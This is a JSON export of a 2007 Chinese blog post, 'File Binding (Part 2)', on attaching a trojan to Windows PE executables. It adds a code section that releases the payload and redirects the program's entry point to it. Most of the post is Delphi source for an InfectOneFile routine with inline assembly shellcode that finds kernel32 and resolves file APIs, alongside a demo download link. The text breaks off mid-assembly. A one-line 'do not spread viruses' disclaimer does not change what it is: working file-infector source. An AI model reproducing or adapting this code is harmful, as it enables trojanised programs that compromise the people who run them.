{"id":87,"date":"2007-11-04T11:11:06","date_gmt":"2007-11-04T03:11:06","guid":{"rendered":"http:\/\/www.2lin.net\/?p=87"},"modified":"2007-11-04T11:11:06","modified_gmt":"2007-11-04T03:11:06","slug":"87","status":"publish","type":"post","link":"https:\/\/www.2lin.top\/?p=87","title":{"rendered":"\u6587\u4ef6\u6346\u7ed1\uff08\u4e8c\uff09"},"content":{"rendered":"<p>\u4e0a\u6b21\u5199\u5230\u4f7f\u7528\u9644\u52a0\u6346\u7ed1\u6587\u4ef6\u7684\u65b9\u5f0f.\u3000\u8fd9\u6b21\u4ecb\u7ecd\u4f7f\u7528\u7b7e\u5165\u5f0f\u6346\u7ed1<br \/>\u7b7e\u5165\u5f0f\u6346\u7ed1\u7684\u539f\u7406\u4e5f\u5f88\u7b80\u5355\uff0c<br \/>\u4e5f\u662f\u628a\u6728\u9a6c\u7a0b\u5e8f\u9644\u52a0\u5230\u7a0b\u5e8f\u5c3e\u90e8\u3000\u7136\u540e\u5728\u539f\u7a0b\u5e8f\u91cc\u6dfb\u52a0\u4e00\u4e2a\u4ee3\u7801\u8282<br \/>\u7528\u6765\u628a\u6728\u9a6c\u7a0b\u5e8f\u91ca\u653e\u51fa\u6765.\u3000\u6700\u540e\u5c06\u539f\u7a0b\u5e8f\u7684\u5165\u53e3\u70b9\u6539\u6210\u6dfb\u52a0\u8282\u7684\u8d77\u59cb\u5730\u5740<br \/>\u7531\u4e8e\u8fd9\u79cd\u8bd5\u4f1a\u6539\u53d8\u539f\u7a0b\u5e8f\u7684\u5927\u5c0f\uff0c\u5e76\u4e14\u548c\u7a0b\u5e8f\u8fd0\u884c\u7684\u73af\u5883\u6709\u5173.<br \/>\u6240\u4ee5\u3000.net\u6216\u5176\u5b83\u7684\u865a\u62df\u673a\u7a0b\u5e8f\u662f\u4e0d\u80fd\u88ab\u8fd0\u884c\u7684.<br \/>\u8fd8\u6709\u4e00\u79cd\u5c31\u662f\u6709\u9644\u52a0\u6570\u636e\u7684\u7a0b\u5e8f\u3000\u3000\u56e0\u4e3a\u6539\u53d8\u4e86\u6587\u4ef6\u7684\u5927\u5c0f\u3000\u5982\u679c\u5f3a\u884c\u6346\u7ed1\u3000\u6709\u53ef\u80fd\u4f1a\u4f7f\u539f\u7a0b\u5e8f\u6267\u884c\u51fa\u9519.<br \/>\u4e0b\u9762\u7ed9\u51fa\u6346\u7ed1\u4ee3\u7801\uff08\u8bf7\u52ff\u7528\u4e8e\u75c5\u6bd2\u4f20\u64ad\uff09<a href=\"\/soft\/InFectFile2.rar\">Demo\u4e0b\u8f7d<\/a><\/p>\n<pre class=\"brush:delphi;toolbar:false\">procedure&nbsp;InfectOneFile(ASrcFileName,ADesFileName:&nbsp;string;&nbsp;const&nbsp;isCheck:&nbsp;Boolean&nbsp;=&nbsp;true);\nvar\n&nbsp;&nbsp;I:&nbsp;integer;\n&nbsp;&nbsp;F,F1:&nbsp;THandle;\n&nbsp;&nbsp;dReadNum:&nbsp;DWORD;\n&nbsp;&nbsp;DosHeader:&nbsp;TImageDosHeader;\n&nbsp;&nbsp;NTHeader:&nbsp;TImageNtHeaders;&nbsp;{NtHeader}\n&nbsp;&nbsp;NewSectionHeader,SEChea:&nbsp;TImageSectionHeader;\n&nbsp;&nbsp;nOldSectionNo:&nbsp;Integer;{\u8282\u6570\u76ee}\n&nbsp;OEP:&nbsp;Integer;&nbsp;{\u5165\u53e3\u70b9}\n&nbsp;SectionAlign:&nbsp;Integer;&nbsp;{\u8282\u5bf9\u9f50}\n&nbsp;FileAlign:&nbsp;Integer;&nbsp;{\u6587\u4ef6\u5bf9\u9f50}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;Data:&nbsp;TDatas;\n&nbsp;&nbsp;pShell:&nbsp;PChar;\n&nbsp;&nbsp;nShellLen,&nbsp;nNewImageSize,&nbsp;nNewSizeofCode:&nbsp;Integer;\n&nbsp;&nbsp;jmp:&nbsp;BYTE;\n&nbsp;&nbsp;buf:&nbsp;array[0..$1000]&nbsp;of&nbsp;byte;\n&nbsp;&nbsp;TempPath:&nbsp;string;\n&nbsp;&nbsp;FileSize:&nbsp;Integer;\n&nbsp;&nbsp;label&nbsp;shellend,&nbsp;shell,&nbsp;Search,&nbsp;QUIT,RE;\nbegin\n&nbsp;&nbsp;TempPath&nbsp;:=&nbsp;&#39;&#39;;\n&nbsp;&nbsp;F&nbsp;:=&nbsp;CreateFile(PChar(ADesFileName),&nbsp;GENERIC_READ&nbsp;or&nbsp;GENERIC_WRITE,&nbsp;0,&nbsp;nil,&nbsp;OPEN_EXISTING,&nbsp;0,&nbsp;0);\n&nbsp;&nbsp;try\n&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u6253\u5f00\u5931\u8d25\u9000\u51fa\n&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;F&nbsp;=&nbsp;INVALID_HANDLE_VALUE&nbsp;then\n&nbsp;&nbsp;&nbsp;&nbsp;begin\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{$IFDEF&nbsp;DEBUG}&nbsp;AddLog(&#39;\u6253\u5f00\u6587\u4ef6\u5931\u8d25&#39;+ADesFileName);&nbsp;{$ENDIF}&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exit;\n&nbsp;&nbsp;&nbsp;&nbsp;end;\n&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u68c0\u67e5\u662f\u5426PE\u6587\u4ef6\n&nbsp;&nbsp;&nbsp;&nbsp;ReadFile(F,&nbsp;DosHeader,&nbsp;SizeOf(TImageDosHeader),&nbsp;dReadNum,&nbsp;nil);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;not&nbsp;DosHeader.e_magic&nbsp;=&nbsp;IMAGE_DOS_SIGNATURE&nbsp;then\n&nbsp;&nbsp;&nbsp;&nbsp;begin\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{$IFDEF&nbsp;DEBUG}&nbsp;AddLog(&#39;\u4e0d\u662fPE\u6587\u4ef6&#39;+ADesFileName);&nbsp;{$ENDIF}&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exit;\n&nbsp;&nbsp;&nbsp;&nbsp;end;\n&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;SetFilePointer(F,&nbsp;$30,&nbsp;nil,&nbsp;FILE_BEGIN);\n&nbsp;&nbsp;&nbsp;&nbsp;ReadFile(F,&nbsp;Data,&nbsp;SizeOf(TDatas),&nbsp;dReadNum,&nbsp;nil);\n&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;Data.ID&nbsp;=&nbsp;$88888888&nbsp;then&nbsp;&nbsp;{\u5df2\u7ecf\u88ab\u9644\u52a0}\n&nbsp;&nbsp;&nbsp;&nbsp;begin\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{$IFDEF&nbsp;DEBUG}&nbsp;AddLog(&#39;\u5df2\u7ecf\u611f\u67d3&#39;+ADesFileName);&nbsp;{$ENDIF}&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exit;\n&nbsp;&nbsp;&nbsp;&nbsp;end;\n&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u8bfb\u53d6NTHeader\n&nbsp;&nbsp;&nbsp;&nbsp;SetFilePointer(F,&nbsp;DosHeader._lfanew,&nbsp;nil,&nbsp;FILE_BEGIN);\n&nbsp;&nbsp;&nbsp;&nbsp;ReadFile(F,&nbsp;NTHeader,&nbsp;SizeOf(NTHeader),&nbsp;dReadNum,&nbsp;nil);\n&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;NTHeader.Signature&nbsp;&lt;&gt;&nbsp;IMAGE_NT_SIGNATURE&nbsp;then&nbsp;Exit;\n&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(NTHeader.FileHeader.Characteristics&nbsp;=&nbsp;$10E)&nbsp;and&nbsp;isCheck&nbsp;then\n&nbsp;&nbsp;&nbsp;&nbsp;begin\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{$IFDEF&nbsp;DEBUG}&nbsp;AddLog(&#39;.net\u6216\u5176\u5b83\u6587\u4ef6&#39;+ADesFileName);&nbsp;{$ENDIF}\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exit;&nbsp;\/\/.net&nbsp;\u6216\u5176\u5b83\u6587\u4ef6\u3000\u4e0d\u80fd\u9644\u52a0\n&nbsp;&nbsp;&nbsp;&nbsp;end;\n&nbsp;&nbsp;&nbsp;&nbsp;nOldSectionNo&nbsp;:=&nbsp;NTHeader.FileHeader.NumberOfSections;\n&nbsp;&nbsp;&nbsp;&nbsp;OEP&nbsp;:=&nbsp;NTHeader.OptionalHeader.AddressOfEntryPoint;\n&nbsp;&nbsp;&nbsp;&nbsp;SectionAlign&nbsp;:=&nbsp;NTHeader.OptionalHeader.SectionAlignment;\n&nbsp;&nbsp;&nbsp;&nbsp;FileAlign&nbsp;:=&nbsp;NTHeader.OptionalHeader.FileAlignment;\n&nbsp;&nbsp;&nbsp;&nbsp;ZeroMemory(@NewSectionHeader,&nbsp;SizeOf(TImageSectionHeader));\n&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u8bfb\u53d6\u6700\u540e\u4e00\u4e2a\u8282\u5934\n&nbsp;&nbsp;&nbsp;&nbsp;SetFilePointer(F,&nbsp;DosHeader._lfanew+SizeOf(TImageNtHeaders),&nbsp;nil,&nbsp;FILE_BEGIN);\n&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;i&nbsp;:=&nbsp;0&nbsp;to&nbsp;nOldSectionNo&nbsp;-&nbsp;1&nbsp;do\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ReadFile(F,&nbsp;SEChea,&nbsp;SizeOf(TImageSectionHeader),&nbsp;dReadNum,&nbsp;nil);\n&nbsp;&nbsp;&nbsp;&nbsp;FileSize&nbsp;:=&nbsp;GetFileSize(F,&nbsp;nil);&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(FileSize&nbsp;&lt;&gt;&nbsp;SEChea.PointerToRawData&nbsp;+&nbsp;SEChea.SizeOfRawData)&nbsp;and&nbsp;isCheck&nbsp;then&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;begin&nbsp;&nbsp;\/\/\u6709\u9644\u52a0\u6570\u636e\u4e0d\u80fd\u9644\u52a0\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{$IFDEF&nbsp;DEBUG}&nbsp;AddLog(&#39;.\u6709\u9644\u52a0\u6570\u636e\u4e0d\u80fd\u611f\u67d3&#39;+ADesFileName);&nbsp;{$ENDIF}\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exit;\n&nbsp;&nbsp;&nbsp;&nbsp;end;\n&nbsp;&nbsp;&nbsp;&nbsp;goto&nbsp;shellend;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;asm\n&nbsp;&nbsp;&nbsp;&nbsp;shell:\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pushad\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,&nbsp;fs:$30&nbsp;&nbsp;\/\/;PEB\u7684\u5730\u5740\n&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,&nbsp;[eax&nbsp;+&nbsp;$0c]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;esi,&nbsp;[eax&nbsp;+&nbsp;$1c]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lodsd\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,&nbsp;[eax&nbsp;+&nbsp;$08]&nbsp;\/\/;eax\u5c31\u662fkernel32.dll\u7684\u57fa\u5740\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;edi,&nbsp;eax&nbsp;\/\/\u540c\u65f6\u4fdd\u5b58kernel32.dll\u7684\u57fa\u5740\u5230edi\n&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u901a\u8fc7\u641c\u7d22&nbsp;kernel32.dll\u7684\u5bfc\u51fa\u8868\u67e5\u627eGetProcAddress\u51fd\u6570\u7684\u5730\u5740\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;ebp,&nbsp;eax\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,&nbsp;[ebp&nbsp;+&nbsp;$3c]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;edx,&nbsp;[ebp&nbsp;+&nbsp;eax&nbsp;+&nbsp;$78]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;edx,&nbsp;ebp\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;ecx,&nbsp;[edx&nbsp;+&nbsp;$18]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;ebx,&nbsp;[edx&nbsp;+&nbsp;$20]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;ebx,&nbsp;ebp\n&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Search:\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dec&nbsp;ecx\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;esi,&nbsp;[ebx&nbsp;+&nbsp;ecx&nbsp;*&nbsp;4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;esi,&nbsp;ebp\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,&nbsp;$50746547\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cmp&nbsp;[esi],&nbsp;eax&nbsp;&nbsp;\/\/\u6bd4\u8f83&quot;PteG&quot;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;jne&nbsp;Search\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,&nbsp;$41636f72\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cmp&nbsp;[esi&nbsp;+&nbsp;4],&nbsp;eax\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;jne&nbsp;Search\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;ebx,&nbsp;[edx&nbsp;+&nbsp;$24]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;ebx,&nbsp;ebp\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;cx,&nbsp;[ebx&nbsp;+&nbsp;ecx&nbsp;*&nbsp;2]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;ebx,&nbsp;[edx&nbsp;+&nbsp;$1c]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;ebx,&nbsp;ebp\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,&nbsp;[ebx&nbsp;+&nbsp;ecx&nbsp;*&nbsp;4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;ebp&nbsp;&nbsp;\/\/eax\u4fdd\u5b58\u7684\u5c31\u662fGetProcAddress\u7684\u5730\u5740&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u4e3a\u5c40\u90e8\u53d8\u91cf\u5206\u914d\u7a7a\u95f4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;ebp\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sub&nbsp;esp,&nbsp;$50\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;ebp,&nbsp;esp\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[ebp&nbsp;+&nbsp;$10],&nbsp;eax&nbsp;\/\/\u628aGetProcAddress\u7684\u5730\u5740\u4fdd\u5b58\u5230ebp&nbsp;+&nbsp;10\u4e2d&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u67e5\u627e&nbsp;&nbsp;GlobalAlloc\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;DWORD&nbsp;PTR&nbsp;$636F6C\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;DWORD&nbsp;PTR&nbsp;$6C416C61\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;DWORD&nbsp;PTR&nbsp;$626F6C47\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;esp\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;edi\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$10]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/mov&nbsp;[ebp&nbsp;+&nbsp;$14],&nbsp;eax&nbsp;\/\/\u4fdd\u5b58GlobalAlloc\u7684\u5730\u5740\u5230ebp&nbsp;+&nbsp;14h\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;$1000&nbsp;\/\/\u5206\u914d$1000\u7a7a\u95f4\u5185\u5b58\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;GHND\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;eax\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[ebp&nbsp;+&nbsp;$4C],&nbsp;eax\/\/\u4fdd\u5b58hMem\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,&nbsp;[eax]&nbsp;&nbsp;\/\/\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[ebp&nbsp;+&nbsp;$4],&nbsp;eax\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/mov&nbsp;[ebp&nbsp;+&nbsp;$14],&nbsp;eax&nbsp;\/\/\u4fdd\u5b58\u6307\u9488&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/mov&nbsp;eax,&nbsp;edx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$61657243\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$69466574&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$41656C\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u5f00\u59cb\u67e5\u627eCreateFileA\u7684\u5730\u5740,&nbsp;\u5148\u6784\u9020&quot;CreateFileA\\0&quot;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[ebp&nbsp;+&nbsp;$4]&nbsp;\/\/\u538b\u5165&quot;CreateFileA\\0&quot;\u7684\u5730\u5740\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;edi&nbsp;\/\/edi:kernel32\u7684\u57fa\u5740\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$10]&nbsp;\/\/\u8fd4\u56de\u503c(\u5373CreateFileA\u7684\u5730\u5740)\u4fdd\u5b58\u5728eax\u4e2d\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[ebp&nbsp;+&nbsp;$14],&nbsp;eax&nbsp;\/\/\u4fdd\u5b58CreateFileA\u7684\u5730\u5740\u5230ebp&nbsp;+&nbsp;14h&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u5f00\u59cb\u67e5\u627eReadFile\u7684\u5730\u5740\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,&nbsp;[ebp&nbsp;+&nbsp;$4]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$64616552\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$656C6946\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$0\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;edi\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$10]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[ebp&nbsp;+&nbsp;$18],&nbsp;eax&nbsp;\/\/\u4fdd\u5b58ReadFile\u7684\u5730\u5740\u5230ebp&nbsp;+&nbsp;18h\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u67e5\u627e&nbsp;WriteFile\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,&nbsp;[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$74697257\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$6C694665\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$65\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;edi\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$10]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[ebp&nbsp;+&nbsp;$1C],&nbsp;eax&nbsp;\/\/\u4fdd\u5b58WriteFile\u7684\u5730\u5740\u5230ebp&nbsp;+&nbsp;1Ch\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u67e5\u627eGetModuleFileNameA\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,&nbsp;[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$4D746547\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$6C75646F\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$6C694665\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$6D614E65\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add&nbsp;eax,&nbsp;4\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$4165\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push&nbsp;edi\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;[ebp&nbsp;+&nbsp;$10]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[ebp&nbsp;+&nbsp;$20],&nbsp;eax&nbsp;\/\/\u4fdd\u5b58GetModuleFileNameA\u7684\u5730\u5740\u5230ebp&nbsp;+&nbsp;20h\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u67e5\u627eSetFilePointer\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;eax,&nbsp;[ebp&nbsp;+&nbsp;$4]\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;[eax],DWORD&nbsp;PTR&nbsp;$46746553\n&nbsp